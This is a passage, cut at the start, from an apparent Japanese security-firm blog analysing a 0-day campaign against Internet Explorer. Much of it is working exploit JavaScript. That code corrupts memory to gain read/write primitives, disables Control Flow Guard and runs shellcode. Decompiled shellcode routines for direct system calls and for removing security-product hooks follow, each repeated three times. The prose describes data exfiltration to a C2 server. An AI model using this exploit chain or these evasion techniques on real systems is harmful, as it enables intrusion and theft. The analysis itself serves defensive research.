baseAddress + read(eat + 0x50, 32) var size = read(LOAD_CONFIG_DIRECTORY, 32) var sizeOfImage = read(PEAddr + 0x50, 32) var CFGSymbolTable = new SymTab(0x5c, { '___guard_check_icall_fptr': { offset: 72, size: 32 } }) var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr') this.getCFGAddress = function() { return guard_check_icall_fptr_address } this.getCFGValue = function() { if (size < CFGSymbolTable.size()) return false var currentCFGValue = read(guard_check_icall_fptr_address, 32) var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage) return !isValidAddress; } } function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map.delete(tmpBuffer) } var cbase = new SymTab(0x60, { 'pvftable': { offset: 0x0, size: 32 }, 'pSecurityContext': { offset: 0x44, size: 32 } }) var cattr = new SymTab(0x32c, { '__vtguard': { offset: 0x48, size: 32 }, 'SecurityContext': { offset: 0xc8, size: 32 }, 'JSBind_TypeId': { offset: 0x160, size: 32 }, 'JSBind_InstanceOf': { offset: 0x164, size: 32 }, 'normalize': { offset: 0x28c, size: 32 } }) var syntaxObject = new SymTab(0x14, { 'SyntaxVersion.MajorVersion': { offset: 0x10, size: 16 } }) var PRPC_CLIENT_INTERFACE = new SymTab(0x44, { 'Length': { offset: 0, size: 32 }, 'InterfaceId.SyntaxVersion.MajorVersion': { offset: 20, size: 16 }, 'TransferSyntax.SyntaxVersion.MajorVersion': { offset: 40, size: 16 }, 'DispatchTable': { offset: 44, size: 32 }, 'InterpreterInfo': { offset: 60, size: 32 }, 'Flags': { offset: 64, size: 32 } }) var _MIDL_SERVER_INFO_ = new SymTab(0x20, { 'pStubDesc': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, 'ProcString': { offset: 8, size: 32 }, 'FmtStringOffset': { offset: 12, size: 32 } }) var _MIDL_STUB_DESC = new SymTab(0x50, { 'RpcInterfaceInformation': { offset: 0, size: 32 }, 'pfnAllocate': { offset: 4, size: 32 }, 'pfnFree': { offset: 8, size: 32 }, 'pFormatTypes': { offset: 32, size: 32 }, 'fCheckBounds': { offset: 36, size: 32 }, 'Version': { offset: 40, size: 32 }, 'MIDLVersion': { offset: 48, size: 32 }, 'mFlags': { offset: 64, size: 32 } }) var RPC_DISPATCH_TABLE = new SymTab(12, { 'DispatchTableCount': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, }) var _RPC_MESSAGE = new SymTab(0x2c, { 'Handle': { offset: 0, size: 32 }, 'DataRepresentation': { offset: 4, size: 32 }, 'Buffer': { offset: 8, size: 32 }, 'BufferLength': { offset: 12, size: 32 }, 'TransferSyntax': { offset: 20, size: 32 }, 'RpcInterfaceInformation': { offset: 24, size: 32 }, 'RpcFlags': { offset: 40, size: 32 } }) var god var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = alloc var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll') var msvcrt = getDllBase(jscript9, 'msvcrt.dll') var ntdll = getDllBase(msvcrt, 'ntdll.dll') var kernelbase = getDllBase(msvcrt, 'kernelbase.dll') var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect') var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA') var xyz = document.createAttribute('xyz') var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() var msg = initRpc() var rpcFree = rpcFree() killCfg(rpcrt4) var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) alert(result.toString(16)) </script> </body> </html>
シェルコードの解析
シェルコードは、感染システムで実行中のプロセス一覧、画面キャプチャ、ネットワークインターフェース情報をC2に送信して感染対象の基本情報を収集した後、C2サーバーから暗号化された追加の悪意のあるコードをメモリにダウンロードして実行する役割を果たします。
権限昇格攻撃と主要な悪意ある行為を実行すると予想される追加の悪意のあるコードは確保できなかったため、詳細な攻撃の意図や結果を明らかにすることはできませんが、分析中に確認された悪意のあるコードの特徴は次の通りです。
Direct System Call
context *__fastcall set_syscall_number(context *ctx) { context *result; // rax _PEB *peb; // [rsp+20h] [rbp-18h] unsigned int buildNum; // [rsp+28h] [rbp-10h] peb = *(getTeb() + 12); ctx->NtMapViewOfSection = 0x28; ctx->NtUnmapViewOfSection = 0x2A; ctx->NtProtectVirtualMemory = 0x50; ctx->NtQueryVirtualMemory = 0x23; ctx->NtOpenSection = 0x37; result = peb->OSBuildNumber; buildNum = peb->OSBuildNumber; if ( buildNum >= 7600 ) { if ( peb->OSBuildNumber <= 7601u ) { ctx->NtMapViewOfSection = 0x25; ctx->NtUnmapViewOfSection = 0x27; ctx->NtProtectVirtualMemory = 0x4D; ctx->NtQueryVirtualMemory = 0x20; result = ctx; ctx->NtOpenSection = 0x34; } else if ( buildNum == 9200 ) { ctx->NtMapViewOfSection = 0x26; ctx->NtUnmapViewOfSection = 0x28; ctx->NtProtectVirtualMemory = 0x4E; ctx->NtQueryVirtualMemory = 0x21; result = ctx; ctx->NtOpenSection = 0x35; } else if ( buildNum == 9600 ) { ctx->NtMapViewOfSection = 0x27; ctx->NtUnmapViewOfSection = 0x29; ctx->NtProtectVirtualMemory = 0x4F; ctx->NtQueryVirtualMemory = 0x22; result = ctx; ctx->NtOpenSection = 0x36; } } return result; }
context *__fastcall set_syscall_number(context *ctx) { context *result; // rax _PEB *peb; // [rsp+20h] [rbp-18h] unsigned int buildNum; // [rsp+28h] [rbp-10h] peb = *(getTeb() + 12); ctx->NtMapViewOfSection = 0x28; ctx->NtUnmapViewOfSection = 0x2A; ctx->NtProtectVirtualMemory = 0x50; ctx->NtQueryVirtualMemory = 0x23; ctx->NtOpenSection = 0x37; result = peb->OSBuildNumber; buildNum = peb->OSBuildNumber; if ( buildNum >= 7600 ) { if ( peb->OSBuildNumber <= 7601u ) { ctx->NtMapViewOfSection = 0x25; ctx->NtUnmapViewOfSection = 0x27; ctx->NtProtectVirtualMemory = 0x4D; ctx->NtQueryVirtualMemory = 0x20; result = ctx; ctx->NtOpenSection = 0x34; } else if ( buildNum == 9200 ) { ctx->NtMapViewOfSection = 0x26; ctx->NtUnmapViewOfSection = 0x28; ctx->NtProtectVirtualMemory = 0x4E; ctx->NtQueryVirtualMemory = 0x21; result = ctx; ctx->NtOpenSection = 0x35; } else if ( buildNum == 9600 ) { ctx->NtMapViewOfSection = 0x27; ctx->NtUnmapViewOfSection = 0x29; ctx->NtProtectVirtualMemory = 0x4F; ctx->NtQueryVirtualMemory = 0x22; result = ctx; ctx->NtOpenSection = 0x36; } } return result; }
context *__fastcall set_syscall_number(context *ctx) { context *result; // rax _PEB *peb; // [rsp+20h] [rbp-18h] unsigned int buildNum; // [rsp+28h] [rbp-10h] peb = *(getTeb() + 12); ctx->NtMapViewOfSection = 0x28; ctx->NtUnmapViewOfSection = 0x2A; ctx->NtProtectVirtualMemory = 0x50; ctx->NtQueryVirtualMemory = 0x23; ctx->NtOpenSection = 0x37; result = peb->OSBuildNumber; buildNum = peb->OSBuildNumber; if ( buildNum >= 7600 ) { if ( peb->OSBuildNumber <= 7601u ) { ctx->NtMapViewOfSection = 0x25; ctx->NtUnmapViewOfSection = 0x27; ctx->NtProtectVirtualMemory = 0x4D; ctx->NtQueryVirtualMemory = 0x20; result = ctx; ctx->NtOpenSection = 0x34; } else if ( buildNum == 9200 ) { ctx->NtMapViewOfSection = 0x26; ctx->NtUnmapViewOfSection = 0x28; ctx->NtProtectVirtualMemory = 0x4E; ctx->NtQueryVirtualMemory = 0x21; result = ctx; ctx->NtOpenSection = 0x35; } else if ( buildNum == 9600 ) { ctx->NtMapViewOfSection = 0x27; ctx->NtUnmapViewOfSection = 0x29; ctx->NtProtectVirtualMemory = 0x4F; ctx->NtQueryVirtualMemory = 0x22; result = ctx; ctx->NtOpenSection = 0x36; } } return result; }
シェルコードは、主要なAPIをDLLに実装された関数を使用せずに、システムコールを直接呼び出す方法を使用します。これは、エンドポイントセキュリティ製品の検知を回避するための試みと解釈されます。
Disable User Mode Hook
_BOOL8 __fastcall unhook_system_dlls(context *ctx) { char v2[16]; // [rsp+20h] [rbp-48h] BYREF char v3[16]; // [rsp+30h] [rbp-38h] BYREF char v4[16]; // [rsp+40h] [rbp-28h] BYREF strcpy(v3, "ntdll.dll"); strcpy(v4, "kernel32.dll"); strcpy(v2, "kernelbase.dll"); return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4); }
_BOOL8 __fastcall unhook_system_dlls(context *ctx) { char v2[16]; // [rsp+20h] [rbp-48h] BYREF char v3[16]; // [rsp+30h] [rbp-38h] BYREF char v4[16]; // [rsp+40h] [rbp-28h] BYREF strcpy(v3, "ntdll.dll"); strcpy(v4, "kernel32.dll"); strcpy(v2, "kernelbase.dll"); return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4); }
_BOOL8 __fastcall unhook_system_dlls(context *ctx) { char v2[16]; // [rsp+20h] [rbp-48h] BYREF char v3[16]; // [rsp+30h] [rbp-38h] BYREF char v4[16]; // [rsp+40h] [rbp-28h] BYREF strcpy(v3, "ntdll.dll"); strcpy(v4, "kernel32.dll"); strcpy(v2, "kernelbase.dll"); return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4); }
「\KnownDlls」ディレクトリから主要なシステムDllのオリジナルを現在のプロセスにコピーし、ユーザーモードフックを削除します。これもセキュリティ製品を回避するための試みと解釈されます。
In Process Dll Hiding

32ビットのIEプロセスで動作を開始したシェルコードは、「splwow64.exe」プログラムを実行して64ビットプロセスで悪意のある行為を進行します。この時、対象プロセスにロードする悪意のあるコードを、正常なDllの開始アドレスから0x1000オフセットだけ離れたアドレスに位置させることで、プロセスにマッピングされたDllを基準に検知するセキュリティ製品を無力化するためのものと見られます。
結論
今回の攻撃では、主要ソフトウェアの0Day脆弱性を利用したことに加え、攻撃者が長期間にわたりセキュリティ研究者に成りすましたSNSアカウントを用意し、それを活用したことが特徴です。
コンピュータ技術は、ハッキング事故の根本原因であるセキュリティ脆弱性が発生しないように発展していますが、今回の事例のように不注意な人間のミスを対象とするサイバー攻撃は、今後も頻繁に発生することが予想されます。
したがって、コンピュータとインターネットがもたらす生活の利便性の裏には、常に潜在的なセキュリティ脅威が存在するという事実を認識し、先手を打って対応することが、現実のセキュリティ問題に対する最善の策であると考えます。

エンキホワイトハット
エンキホワイトハット
オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。
オフェンシブセキュリティの専門企業として、攻撃者の視点から次元の異なるセキュリティを提示します。
人気の記事
関連記事

隙のないセキュリティ設計の始まり、NO.1ホワイトハッカーのノウハウから
インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから
インシデント発生前、
今すぐ備えましょう

隙のないセキュリティ設計の始まり、
No.1ホワイトハッカーのノウハウから
インシデント発生前、
今すぐ備えましょう
購読する
コンテンツが役に立ったら?
エンキーレターを購読しましょう!






